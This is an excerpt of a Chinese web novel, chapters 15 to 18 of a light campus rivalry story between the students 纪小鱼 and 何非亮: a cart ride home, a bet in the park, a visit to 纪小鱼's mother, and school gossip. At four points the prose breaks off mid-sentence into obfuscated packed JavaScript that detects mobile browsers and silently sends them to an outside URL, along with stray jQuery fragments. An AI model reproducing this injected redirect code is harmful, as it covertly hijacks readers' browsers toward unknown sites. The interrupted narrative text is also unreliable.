何非亮仔细地将校长之椅的中轴线和手推车的对齐,又小心翼翼地调整了一下椅子的角度,这才终于满意了,推着手推车来到了纪小鱼的身前。 手推车自带出场背景音——“当当当当!” 何非亮脸上挤出了一丝和善的笑,“纪小鱼,快上车!” 纪小鱼:“???” 天空飘来仨符号,全部是问号。 何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891548|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非亮今天跑步的时候把脑子跑坏了吗? 哦耶,如果是这样那就太好了! “呃,这个……”纪小鱼迟疑了一下,还是问道,“这是去幼儿园的车吗?” 何非亮摇摇头,“当然不是。” 他问,他答,他们都把头挠。 “……”纪小鱼紧张地环抱住手臂,哆哆嗦嗦地问道,“喂,何非亮,你、你要对我做什么?” “我还要问你咧,”何非亮反问,“你去幼儿园做什么?都这么大的人了。” “不!”纪小鱼瑟瑟发抖表示拒绝,“我还是个孩子!” “好啦,孩子,不逗你了,”何非亮扬了扬下巴,“我推车送你回家。” “啊?” “这样你就可以一边休息,一边看星星了,看完还能回家吃上饭,怎么样?” 纪小鱼瞅了瞅那辆简陋的四轮“人力敞篷车”,又瞅了瞅何非亮。 “不了吧,”纪小鱼纠结了一下,“丢人。” “不丢人。你坐在上面,我推车。要丢人也是我丢人。” 何非亮的声音很平和,却偏偏带着一种令人难以抗拒的诱惑,“小鱼少爷,这个机会错过了,可就没有啰。” 这一声“小鱼少爷”喊得他有点飘,纪小鱼仔细地掐着手指盘算了一下—— 嗯?好像不亏哦? 纪小鱼一跳一跳地上了车。 十五分钟后,他会后悔他做下的这个决定。 …… 从学校门口出去,有一条长长的林荫小道。 何非亮推得很慢,尽量地减少一点颠簸。 手推车的轮子摩擦过青砖,留下一路“哗啦哗啦”的轻响。 偶有路人投来好奇的目光,但这已经不重要了。 车速很慢……纪小鱼放心了下来。 椅子是软皮的,坐下去好像陷进了一朵结实的云里——开玩笑,这可是校长的椅子! 哦呵呵呵呵呵! 好舒服啊,花了学校不少经费吧! 推车的是——何非亮! 何非亮这三个字就够了吧,不需要更多的形容词了。 而我是——尊贵又迷人的“小鱼少爷”! 啊哈哈哈哈哈! 这种感觉真是太爽了! “何非亮,”纪小鱼惬意地吹着风,随口问道,“怎么,你说我上辈子欠你的了?” “没有,开玩笑的。” “人有上辈子吗?” “过好这辈子再说啰。” “你再多叫几声‘小鱼少爷’听听?” “呵呵,”何非亮的眼底闪过一丝揶揄,“人是铁,饭是钢,吃鱼可以补智商。” “哈?” ——大胆,这是什么大逆不道的话! 这种话是能对尊贵又迷人的“小鱼少爷”说的吗? 何非亮不紧不慢地继续开口,像是在平静地叙述着一个事实,“前面就是街心公园了,那里很热闹。” “嗯,对呀。” “如果我把你,摆放在那里……” “摆放”这个词就用得很灵。 “什么!?”纪小鱼大惊失色,这怎么可以呢? 何非亮一副胜券在握的样子,“你现在走不了路吧?” 纪小鱼托着腮,陷入了一瞬间的沉思。 对嚯! 就说何非亮怎么会这么好心要推我回家! 呜呜呜,大意了! “说吧,”纪小鱼捂着心脏,“男人,你想要什么。” 15. 第十五章 公园斗智 “我……”何非亮薄唇轻启。 “呵呵,”纪小鱼冷笑着打断了他,“何非亮,你以为你这一点小伎俩就可以让我妥协了吗?那你也未免太狂妄自大了。你尽管把我‘摆放’在那里,我要是求你把我挪走算我输。” “就当玩个游戏咯,”何非亮耸耸肩,一副好整以暇的模样,“20分钟,你只要坚持在那里待上20分钟就算你赢,我不仅送你回家,还请你吃一个冰淇淋。” 纪小鱼愣愣地眨了眨眼睛,好像被天上掉下来的冰淇淋砸昏了头脑—— 哦豁?还有这种好事? 切,不就是20分种吗?这有什么难的? 顶多不就是被周围的人行“注目礼”吗? 我纪小鱼的脸皮……哦不,是心理素质,可是经受过千锤百炼的!厚得很! 哦不,是强大的很! 纪小鱼心里的这种不屑漏在了脸上,何非亮看到了,只是笑笑,继续不紧不慢地介绍着游戏的规则,“当然,20分钟内你可以随时喊‘停’,不过,那样就算你输了哦……输了的话,你只要答应我一件事情就好。” 输? 输是不可能会输的! 诶! 等一下! 纪小鱼打了个激灵,及时刹住了自己就要放狠话的嘴。 何非亮不会是又有什么阴谋吧!? “不过这只是一个提议,”何非亮看出了纪小鱼的担忧,语气还是淡淡的,却多了点撩拨,“君子不趁人之危,纪小怂,你要是怕了的话,可以不玩的……我继续送你回家。” 怂? 怕? 呵,有阴谋又怎么样?兵来将挡,水来土掩! “玩就玩!”纪小鱼自信满满,“何非亮,一言为定,你准备好买冰淇淋的钱吧!” “呵呵。” 何非亮含笑着把纪小鱼推到了街心公园的喷泉边。 他们同时按下了手机上的计时器。 “小鱼,你加油哦。” “这种小事还不至于要加油!快闪一边去吧,别挡着我看风景的视线。” …… 纪小鱼懒洋洋地伸了个懒腰。 这都过去两分钟了,不还是无事发生吗? 何非亮这是要白送我一个冰淇淋啊! 哈哈哈哈! 就是干巴巴地坐在这里熬二十分钟有点没意思…… 纪小鱼无聊地打了个呵欠,正准备从书包里拿出本题来写的时候,一个扎着羊角辫,看上去约莫五、六岁的小女孩手里攥着一枚亮闪闪的一元硬币跑了过来。 她围着纪小鱼转了几圈,好奇地问,“诶,你的碗呢?” 碗?什么碗? 哦~ 纪小鱼很快地就领会了她的意思,耐心地和她解释,“小妹妹,我不是乞丐。” 他指了指旁边树下长椅悠闲坐着的何非亮,“那边那个才是。” 小女孩却不急着跑过去,而是继续问道,“那你是干嘛的?” “我……我是收废品的。” “哦,”小女孩看着纪小鱼一背包的“废纸”,恍然地点点头,又屁颠屁颠地跑去找何非亮了。 纪小鱼坐着看戏,咬着嘴唇,憋笑憋得肋骨都要断了。 “你——”小女孩看清了何非亮的脸,突然变得有些拘谨了,手里的一块钱给也不是,不给也不是。 犹豫了一会儿,她把手向后缩了缩,怯生生地问道,“漂亮哥哥,你是……乞丐吗?那边那个收废品的小哥哥说你是……” 何非亮面上保持着淡定,眼皮却跳了跳—— 哦?这是被纪小鱼摆了一道? 沉默了一下,何非亮终于轻轻地“嗯”了一声。 令纪小鱼没有想到的是,何非亮竟然“承认”了! 竖着耳朵偷听的纪小鱼顿时正义感爆棚—— 哇!何非亮好不要脸!小妹妹的一块钱也要骗! 真是太邪恶了吧! 得到了肯定的回答,小女孩小心翼翼地把一块钱递了过去。 何非亮摇摇头,嗓音有些干涩,“我不收钱。” “我……”何非亮的面上浮现出了一种朦朦胧胧的忧郁气质,像薄雾愁云拂过了莫奈笔下的睡莲,“我只是心情不大好,不知道有没有好心人愿意给我一个微笑。” 小女孩一脸困惑,但还是咧了咧嘴,露出了一个纯真无邪、缺了一颗门牙的笑容。 “谢谢你,我好多了。”何非亮真诚地道谢,嘴角泛起涟漪,也回赠给了小女孩一个浅笑。 冰雪消融,春暖花开。 隔着快三米远,纪小鱼都被何非亮的笑容晃晕了一下。 哇!何非亮好不要脸!小妹妹的笑容也要骗! 骗完了还要撩一下! 真是太太太太太邪恶了! 小女孩红着脸跑回了妈妈的身边,一路兴奋地“叽叽咕咕”的,大概是是在和妈妈分享刚才发生的趣事。 说话声和笑声在风里被吹散,这一天大概是很不错的一天。 - 纪小鱼低头一看手机计时器—— 哦豁,已经过去六分钟了。 哎呀哎呀,这也太轻松了吧? 根本没有难度嘛! 纪小鱼伸了个懒腰,朝何非亮挑衅地一笑。 何非亮正在玩手机,好像有感应一样,也微微抬起头,回敬了纪小鱼一个意味深长的目光。 “小伙子,你这废纸箱几多钱收啊?” 这时,又有一个手里拿着一叠废弃纸壳箱的大爷慢腾腾地转悠了过来, 不是吧? “大爷,”纪小鱼擦了把额头上冒出来的汗,“我不是收废品的……” “你不是收废品的啊?”大爷瞅了纪小鱼一眼这奇怪的造型,“那你是干嘛的?” “我……”纪小鱼拍了拍身下结实的皮椅子,理直气壮地说,“我是卖椅子的!” “哦?”大爷好像突然就对这个椅子有了兴趣,“多少钱啊?” “五千。” 纪小鱼随口说了一个天文数字,想就此打消大爷突如其来的“购买欲”。 “哎呦呦。” 大爷气定神闲地一笑,还价,“二十。” 纪小鱼震惊了,“还能这么砍啊?” “呵,”大爷略显苍老的面庞上突然焕发出了神采奕奕的光芒,“大爷当年去云南旅游,要价20万的玉镯,100块就拿下了[1]。” 纪小鱼:“……” 这次轮到何非亮憋笑憋到肋骨痛了。 纪小鱼摇摇头。 不行不行,哪能真把校长的椅子卖了? 要卖也是何非亮来卖! “这个……”纪小鱼眼珠一转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891549|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,计上心来,“大爷,不是我不要卖给你。实在是我做不了主,我只是一个摆摊卖货的打工人。” 纪小鱼指了指何非亮,“那边那个才是我老板。” 纪小鱼眨了眨眼睛,撺唆道,“您要不去问问他?” 何非亮玩手机的手顿住了,皮笑肉不笑地抬头和纪小鱼对视了。 纪小鱼坐在椅子上捂着肚子,嘴角疯狂上扬。 眼看着大爷慢腾腾地走近,何非亮不好意思地轻咳一声,“老人家,对不起……嗯,实不相瞒,这个椅子已经有主了。” “哦,已经卖掉了啊?”大爷慈祥地笑了笑,有些羡慕地看着何非亮手上拿着的手机,“我知道我知道,是那个网络直播卖货,对吧?” 纪小鱼愣住了,还真有点佩服这位大爷的脑补能力哦。 “你们年轻人真有本事,不像我,手机都用不太会咧!” 大爷叹了口气,时光在他已经有些浑浊的眼里流淌——年轻时也曾开着拖拉机肆虐田埂,插秧大赛也拿过冠军,这一系列人生的高光时刻终于在年岁堆起的尘埃里埋没了,只茶余饭后拎出来,成了讲了又讲的谈资。 不知道从哪一天起,眼里川流不息的大河平静下来,化作细水长流。 细水长流很绵远,却追不上时代发展一日千里的步伐。 “我孙子教了好久,我才学会打打电话、看看新闻。”大爷这么说着,惆怅中却偏偏又有些自豪。 何非亮笑笑,“您孙子挺懂事的。” “挺好挺好,”大爷乐呵呵地一笑,这话说到他心坎上了,顿时看何非亮和纪小鱼都格外的顺眼,“我看你们两个小伙子也挺好。” 大爷正要走,何非亮叫住了他,“老人家,我刚才看见收废品的在大马路那个方向,您往那看看?” “好咧!谢谢你啊!” 大爷慢慢地走远了。 “喂!”纪小鱼朝何非亮做了个鬼脸,“何非亮,这次算你走运哦!” “小鱼,”何非亮又好气又好笑,隔空喊话道,“你已经长大了,要学会独立解决问题了。” 切! 纪小鱼才不理他,反正—— 只剩下三分钟了。 - “时间一秒一秒一秒地过去 快乐一点一点一点地靠近 哎呀我的冰淇淋呀, 你是什么味道?” 纪小鱼哼着自编自创的小曲,心情非常愉悦。 “嗡~” 诶,还有伴奏? 诶诶诶,不对不对,这是什么声音!? 纪小鱼眉头一皱,发现事情并不简单。 他连忙从美好的幻觉中醒过神来,一回到现实,就看见了几只蚊子正呼朋引伴地飞来。 啊啊啊啊啊! 不是吧! 纪小鱼赶紧拿着习题册对蚊子进行驱赶—— 它来,他赶,他真的好惨。 他气,它逃,它不依不饶。 蚊子们并没有退缩,而是叫来了更多的蚊子,齐心协力地组成了一团黑色的战斗云。 纪小鱼没有想到,他英明一世,最终竟然败给了蚊子大军。 “我错了——” “何非亮——” “救救——” 何非亮脸上露出了得逞的笑意。 “微臣救驾来迟。” 16. 第十六章 经常提起 天海国际公寓,气派、奢华,入夜时灯火煌煌、气象万千,彰显着城市金尊玉贵的繁荣盛景。 纪小鱼的家,就在天海国际公寓……对面的平房里。 低矮,破败,充满了年代感,仿佛被城市发展遗忘的老物件。 咳,其实也没有那么夸张啦,全怪隔壁豪宅衬托! 何非亮敬业地把纪小鱼推到了家门口。 走廊亮起一点橘黄色的灯光,何非亮倚着推车的扶手,低下了一点身子,“小鱼,家长就先不见了……不过,不要忘了,你要答应我一件事情哦。” “呵呵,”纪小鱼一脸冷漠,“不好意思,已经忘了。” “哦,是吗?” 何非亮唇角勾起一点戏谑,摸出手机,在屏幕上滑了几下。 手机里流淌出公园的夜景——街灯明亮,树影摇曳,行人停停走走;月光温柔,喷泉优雅,孩童嬉闹欢笑。 画面最终聚焦在了喷泉旁的一辆平板手推车,其上有一张宽阔舒适的皮椅,皮椅上坐着个正投来挑衅目光的小鱼。 嗯,小鱼嘴角的那个邪魅笑容值得来一个特写! 喷泉“哗啦啦”的流水声中传来人声—— “小伙子,你这废纸箱几多钱收啊?” “大爷,我不是收废品的……” “你不是收废品的啊?那你是干嘛的?” “我……我是卖椅子的!” …… 声音戛然而止,何非亮按了暂停,晃了晃自己的手机,“小鱼,你懂的。” 什么!? 原来何非亮刚才,不是在玩手机,而是在偷偷录像!!! 得知真相的纪小鱼激动地拍打着自己的“轮椅”。他拼命地向后扭着脖子,生气地对这一行为表示强烈的谴责,“何非亮,卑鄙,你真是太卑鄙了!” “呵呵,真的卑鄙的话就发出去了。” “喂喂喂,”纪小鱼急了,“你绝对绝对不许给别人看!” “嗯,我一个人看。” “一个人看多没意思啊,”纪小鱼苦口婆心地劝说道,“还是删掉吧。” 这个逻辑衔接得异常丝滑,但是何非亮要是会上当,母猪都会上树了。 何非亮呵呵一笑,“看你表现咯。” 纪小鱼挠着胳膊上被蚊子叮出来的小包包,不情不愿地“嗯”了一声,“算你狠……喂,你真的不给别人看吗?” “嗯,”何非亮眨了眨眼睛,眸光中却不掩揶揄,“班上同学应该是自己人吧?” “啊啊啊啊,何非亮,你敢!不行不行,绝对不行!你要是敢这样的话,我就……” 门突然开了,门里露出了纪小鱼妈妈困惑的脸。 气氛一时凝固。 纪小鱼正襟危坐,何非亮立正站好。 纪小鱼:“妈妈好!” 何非亮:“阿姨好!” …… “诶,”纪小鱼妈妈看了看乖巧端坐的小鱼,又看了看拘谨真诚的何非亮,迟疑地回应了一声,“你们好。” …… 纪小鱼在心里偷笑——嘿嘿,何非亮也不是万能的嘛,刚才明明还很嚣张,现在多怂。 纪小鱼妈妈和善地笑了笑,目光温柔地落在了自家孩子身上,“小鱼?” 尾音微微上扬,听起来是疑问句,但其实是表示命令的祈使句! 纪小鱼打了个哆嗦,立马“噼里啪啦”地从“今天早晨的太阳很明媚”讲到了“下午的1500米有多累”,解释到后面就开始颠三倒四、胡言乱语、无中生有了—— “最后关头要不是我的脚不小心扭到了,那必须是第一名!” “身后这位是我的头号粉丝,他看到我受伤了硬要把我送回家!为了争取这个送我回家的名额,他还和别人争风吃醋,勾心斗角,大打出手!” “其实就是一点小伤,根本没事,伤疤是男子汉的勋章嘛!哦,脚扭到了好像没疤,不过这不重要……反正就是盛情难却,我就勉为其难地同意他送我回来了!妈妈,你不用担心!” 站在纪小鱼身后的何非亮一头黑线,握住推车把手的手掌微微用力,但还是要保持礼貌的微笑。 纪小鱼从书包里翻出笔和便利贴,龙飞凤舞地写写画画,“好了,好了,粉丝一号,你刚才不是吵着要我的签名吗?给你给你!” 纪小鱼扭过身子,朝何非亮得瑟地挤了挤眼睛,把便利贴递了过去,“你现在可以走了,记得把车还回去。” 何非亮微笑地接过便利贴,眼皮跳了跳,眸色渐深。 便利贴上写的是——“何非亮,有本事打我啊!” 纪小鱼妈妈听完纪小鱼长篇大论的絮叨,大概明白是怎么一回事了,无奈地在心里叹了口气,孩子再怎么样也是自己亲生的。 她弯了弯眼睛,向何非亮道谢,“辛苦你照顾我们家小鱼了,要不要留下来一起吃个晚饭?” “不用了,谢谢阿姨。”何非亮回答得有礼有节,“家里已经备好了,就先不叨扰了。” 他站立的姿态仿若一杆冷月下的青竹,端正挺拔偏有风骨,温文尔雅却添超然。 站在纪小鱼身旁,有如明玉在侧。 纪小鱼妈妈看着何非亮越看越满意,心念一动,几乎脱口而出,“你就是小鱼经常提起的何非亮吧?” 何非亮眸光流转,轻轻一笑,“小鱼经常提起吗?” ——这就是承认了的意思。 “嗯。”纪小鱼妈妈笑着点点头。 回忆里的纪小小鱼拿着小桃木剑,学着电视里的大侠对着空气左劈右砍,嘴里咿咿呀呀道—— “何非亮,嘿!” “何非亮,哈!” …… 外婆家的大黄狗生了小黄狗,外婆问纪小小鱼,要给小黄狗取一个什么名字呢? “何非亮!”纪小小鱼兴奋地回答。 外婆说,“一共生了五只咧!” “那就叫何非亮一号,何非亮二号,何非亮三号,何非亮四号,还有何非亮五号!”这根本难不倒数学天天被老师夸的纪小小鱼。 外婆大概记忆力不太好,只记住了后半截,五只小黄狗最后分别叫做“一号”、“二号”、“三号”、“四号”和“五号”…… …… 再长大一点,纪小鱼会说,“这次考了第一名……如果没有何非亮的话。” 还有,浴室里偶尔会传来歌声—— “扁的~扁的~扁的~我要把何非亮踩成扁的~” “扁的~扁的~扁的~何非亮被我踩成扁的~” …… 咳,这算是经常提起吧…… 哎呀哎呀,越想越觉得心里怪不好意思的,纪小鱼妈妈连忙转身回屋拿了几块奶油夹心的小甜饼塞到何非亮手上,“这是小鱼最爱吃的饼干,你也尝尝!” “妈——” 纪小鱼刚要开口说些什么,结果被妈妈横了一眼,只好乖乖闭嘴。 - 一盏孤灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891550|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照夜阑[1]。 这天晚上,纪小鱼照例坐在书桌前预备提笔奋战。 可是面对着茫茫题海,纪小鱼却破天荒的犹豫了。 今天,即使是最心爱的生物题也没法让自己打起精神了呢。 嗐,张朝同学的诗话糙理不糙,1500米跑完那是真的腿发软。 手也酸,头也晕。 唉,要不然今晚就……早睡一下? 好累啊。 就在这时,手机突然震动了一下。 :-p: 还疼吗? 哈利皮特: 好多了[转圈] :-p: 好好休息,记得拿冰敷一下。 哈利皮特: 谢谢(^-^)v 哇,高手兄真是太厉害了! 他只是说了一个如果,高手兄就猜到了其实是他的脚扭伤了,还问他疼不疼。 呜呜呜,高手兄yyds! 正打算把手机熄屏的时候,纪小鱼忽然发现微信图标的左上角多出了一个红点。 点开一看,原来是通讯录那里,有“新的朋友”加他。 备注:张朝。 哦,是张兄呀?奇怪,他怎么知道我的微信号的? 哈利皮特: 我通过了你的朋友验证请求,现在我们可以开始聊天了 呃……这个自动发出去的开场白有一丢丢的尴尬。 纪小鱼连忙再找了一个“你好”的表情发过去。 Z。z: 纪兄,想必你也很讨厌何非亮吧? Z。z: 我可以帮你 张朝开门见山得太过突兀,纪小鱼不由地心里一惊。 …… - 周五,运动会进入尾声。 经过了一晚上的休养,纪小鱼的脚踝康复了大半,除了转动时还有一点滞涩和轻微的痛感,其他的已经完全没有大碍了。 1500米的颁奖仪式结束后,纪小鱼和何非亮往班级的看台走去。 纪小鱼戴着银牌,酸酸地瞅了眼何非亮脖子上挂着的金牌,阴阳怪气地开口道,“喂,别怪我没和你讲——树大招风,可能你在不经意间就得罪了别人,最近小心一点哦。” “不会吧?”何非亮微微一笑,“我觉得大家都挺喜欢我的。” “哇——你好自恋哦!” 可是,就在这一会儿工夫,何非亮走过路过的时候就收获了无数的星星眼。 唉,都是被她们惯的。 何非亮都不知道社会的险恶了! “何非亮同学,我们……我们可以和你合个影吗?”几个女生大着胆子走了上来。 纪小鱼调皮地眨了眨眼睛,帮忙把何非亮往她们身前一推—— “去吧,皮卡丘!” 然后头也不回,潇潇洒洒地走了。 唉,日行一善,日行一善。 看台上三三两两地坐着几个同学,在温暖恬淡的阳光下说说笑笑,享受着最后的惬意时光。 有同学招呼他,“纪小鱼,打牌吗?” “不了,不了。” 纪小鱼对扑克牌至今都有阴影,只要一看到扑克牌,就会马上想起“自己因为不知道扑克牌有几张所以被扣了五分导致在最后关头输给了何非亮”的这件伤心往事。 “纪小鱼,”蒋小胖朝他挥手,“开黑吗?” “诶,马上!” …… 17. 第十七章 英雄救美 又是新的一周。一大早,操场上就乌泱泱地站满了祖国的花朵,聆听着张校长激情澎湃、长篇大论的演讲。 “上周,我校的运动会取得了圆满成功。同学们的青春活力和拼搏精神,给我留下了很深的印象……” “然而,在这个过程中,我也观察到,不少同学在校园里公然出双入对,谈起了恋爱。作为你们在校的‘大家长’,有一些话我不得不和大家敞开心扉地谈一谈……” 哦,这个和我没啥关系。 我又不谈恋爱,谈恋爱只会影响我刷题的速度。 一寸光阴一寸金。纪小鱼的目光逐渐变得涣散,开始在脑海里自己给自己出题做——“已知函数f(x)=sinxsin2x……” 从外人眼里看,他好像变呆了,但只有纪小鱼自己知道,他正在默默变强。 哎呀,这种猥琐发育的感觉真是太好了。 o(* ̄▽ ̄*)ブ 生活好像又恢复了平静,上课、下课、吃饭、午休…… 下午第一节课下课以后,记者社社长卓影在纪小鱼和何非亮的桌上放上了新一期的校刊。 校刊的封面赫然是1500米终点处纪小鱼和何非亮双手拍在一起的照片,旁边还附上了花花绿绿的艺术字——“赛场上最强的对手,赛场下最好的朋友”。 纪小鱼一看到这张图,就气不打一处来。 再一想到这一张照片将会被全校同学传看,顿时这个气就更盛了几分。 “喂,你侵犯了我的手的肖像权!我的手好像没有同意你擅自把它印上去吧?” “啊,这……” 卓影万万没想到纪小鱼是这个反应。 “咳咳,”卓影清了清嗓子,“好吧,为了表示歉意,作为记者社的社长,我可以送你一个我们学校的八卦。说吧,你想知道什么?” “是吗?”纪小鱼一副不信的样子,“我们学校的八卦你都知道?” “那当然,我可是记者社的社长!比如……”卓影弯下腰,压低了点声音,“你知道体育老师眼角那道疤怎么来的吗?” 卓影朝讲台上望了一眼,扶了扶眼镜,神秘一笑,“提示一下,和你们班语文老师有关哦~” 语文老师? 大概是因为上一节是语文课、下一节还是语文课,语文老师周婉并没有回办公室。她踩着细细的高跟鞋,亭亭玉立地站在讲台上,长发飘飘,身姿婀娜,正温声细语地给跑来问问题的小同学答疑。 “哦?”纪小鱼眨了眨眼睛,脑海中一道震惊的电流划过,“是被语文老师打的?” 卓影:“……”——这真是令人惊叹的脑回路。 何非亮正低头写题,没忍住,“扑哧”一声笑了出来。 卓影:“???”——什么?何非亮笑了!? “不是啦……” 作为一个合格的记者社社长,这点心理素质还是要有的,卓影缓了缓,强自镇定地开口道: “当年体育老师的训练成绩其实挺好的,在省队里也是数一数二的,非常有望进入国家队。可就在国家队选拔赛的前一个星期,他走在街上看到一个小混混抢人家包,三下两下就追了上去。” “那小混混哪跑得过他呀?毫无悬念的就被抓到了。可谁知道这个小混混还有其他几个同伙,在路边的小巷子里拿着弹簧刀蹲守……” “体育老师虽然以一挑五,最终制服了他们几个,但还是免不了在争斗中受了伤。最后是带伤参加的选拔赛,可惜呀……最终也就止步于省队了。” “不过,”卓影朝纪小鱼挤了挤眼睛,“祸兮福所倚,你懂了吧?” 祸兮福所倚?那么便是有人因祸得福? 提示是和语文老师有关。 语文老师在这次事件中因祸得福…… “懂了懂了!”纪小鱼脑子里的灯泡亮了,“当年的小混混经过了这次事件之后,洗心革面,从新做人,发奋图强,回头是岸,最终,成为了一名优秀的语文老师!” “是了,”纪小鱼若有所思地点点头,“我们语文老师经常挂在嘴边的一句便是‘人非圣贤,孰能无过?过而能改,善莫大焉。[1]’原来是有这么一段往事。” 卓影:“……” 就特么一个简简单单、动人心弦、英雄救美的故事,男人听了会沉默、女人听了会流泪,纪小鱼听了为什么偏偏可以绕到另一个格外清奇的方向上去!? “不是的!” 卓影决定干脆不卖关子,直接一点算了,“体育老师帮忙抢回来的包正是你们语文老师的。语文老师为了感谢他,拿着花去医院探望。体育老师惊讶地发现,眼前的这个女孩,竟是越看越眼熟。” 卓影“噼里啪啦”地讲完前面一番话后,声音突然变得深沉而抒情,“年少时的场景历历在目,岁月中深藏的记忆在脑海中飞快地闪过,每一张都是她的笑脸。原来,这个女孩正是他——” 纪小鱼:“失散已久的妹妹!” 卓影:“曾经暗恋的同学……” 两人几乎同时开口。紧随着纪小鱼脱口而出的抢答,卓影越说声音越小,明显失了底气,说到最后几乎要哽咽了——完了完了,怎么还觉得纪小鱼的版本更好看一点?原来的版本好像都不香了…… 好像平静的湖面上又被投下了一颗石子,何非亮的嘴角再次泛起涟漪。 “嗯,好吧……”纪小鱼搔了搔脸,“原来是这样啊。可是,你怎么知道的?” 卓影晕晕乎乎地回答道,“上上上届记者社社长前辈对我校教职工夫妇进行了专访。” “你懂得挺多的,”纪小鱼勉为其难地同意了卓影的提议,“好吧,那我问你一个八卦哦?” “嗯嗯,”终于回到了卓影的专业领域,他打起了点精神,黑框眼镜后的目光闪过一丝锐利,“你问。” “那个——”纪小鱼不怀好意地咧了咧嘴,兴致勃勃地开口,“何非亮有什么见不得人的八卦么?越劲爆越好!” “啊,这……”卓影愣了愣,下意识地扫了眼何非亮的神色。 何非亮撩起一点眼皮,静静地端详着卓影,像是也在等着他的答案。 明明是风平浪静、水波不兴的目光,却让卓影感觉到了一种知道太多会被灭口的压迫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891551|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>卓影头皮发麻,“呃……不、不知道。” “啊?”纪小鱼对这个回答深感失望,“那问你一个简单一点的,何非亮有女朋友吗?” 何非亮的目光轻飘飘地停在卓影身上,微微一凝,卓影连忙摇头,“不、不知道。” “何非亮喜欢什么样子的?” 卓影不敢抬头,只觉得压力山大、如芒在背。 “不、不知道。” “唉,”纪小鱼摇摇手,“算了算了,你还真是一问三不知哦。” 一问三不知? 卓影觉得自己身为记者社社长的尊严遭到了挑衅,热血上头,反唇相讥道,“那你、你知道吗?这、这是那么容易回答的问题吗?别搞得好像很轻松一样!” “纪小鱼,”卓影飞快地瞟了一眼何非亮,更加的自信满满,“有本事你告诉我啊,你要是说得上来的话我以后就认你做大哥、唯你是从!” “想知道这个还不容易吗?”纪小鱼困惑地转过头,“喂,何非亮,你有什么见不得人的八卦吗?” “没有。” “你有女朋友吗?” “没有。” “那你喜欢什么样的?” “你这样的。” “你看,”纪小鱼摊摊手,“我全部都知道了。” 卓影:“???” “啊哈哈哈哈哈!”纪小鱼的笑容很是嚣张,“卓影啊,你以后就安心地做我的小弟吧!” “这……”卓影捂着胸口,喷出一口老血,“这、这怎么可能呢?” 还、还能这样吗? 卓影,一代记者社社长,自诩身经百战,却在这一天,彻底的凌乱了。 信仰如泰山崩于前。 - 时间,在刷题的指尖流淌,在老师的谆谆教诲中逝去。 下午四点半,S中下午最后一节课的下课铃声打响。 一天中,纪小鱼最喜欢的就是下午刚放学的时候。窗外日影偏斜,天空逐渐泛黄,大朵大朵的云悠悠而过,如同懒懒的海龟顺着金色的潮汐游向远方。城市的浮躁也随之褪去,渐入安宁,空气里流淌着一种“尘埃落定”的禅意和美感。 这种宁静的时刻,最适合整理笔记了。 对纪小鱼来说,学习不仅是一个任务,更是一个机会——一个打败何非亮的好机会! 卷子的得分是有上限的。因此,如果一张卷子有标准答案,且标准答案有迹可循,那他只要把所有的方面都学到极致、做到完美,就至少不会输。 纪小鱼今天整理的是历史笔记,边写边背,每写完一行,身上便跳出一道“历史熟练度+1”的光芒。 啊,这种充实的感觉真是太美好了。 终于肝完了一整个单元,纪小鱼松了松肩膀,趁着放松的间隙偷偷撇过头扫了一眼坐在一旁的的同桌—— 何非亮正悠闲地翻着杂志,纤长的手指拈着书页的边沿轻轻翻过,今天没有看《Discover》了,看的是《The Economist》。除此之外,他的桌上还多了瓶没有开动过的冷萃黑咖,也不知道是从哪里变出来的。 18.第十八章 立下战书 纪小鱼好奇地掀开咖啡杯的盖子,倒了一点进去自己空掉了的水壶里。浅尝了一口以后,脸上顿时流露出了痛苦的神色,一张脸皱得像被打过了一样。 救命,这也太难喝了吧! 纪小鱼纠结了一下,终于还是生无可恋地把嘴里的那一口又苦又涩的液体咽了下去,咽完以后几乎要两眼一翻,“何非亮,你什么品味啊?苦死了!还是小胖的薯片比较好吃!” 何非亮看书正看得入味,懒得理他,随口应了他一句,“我用来提神的。” 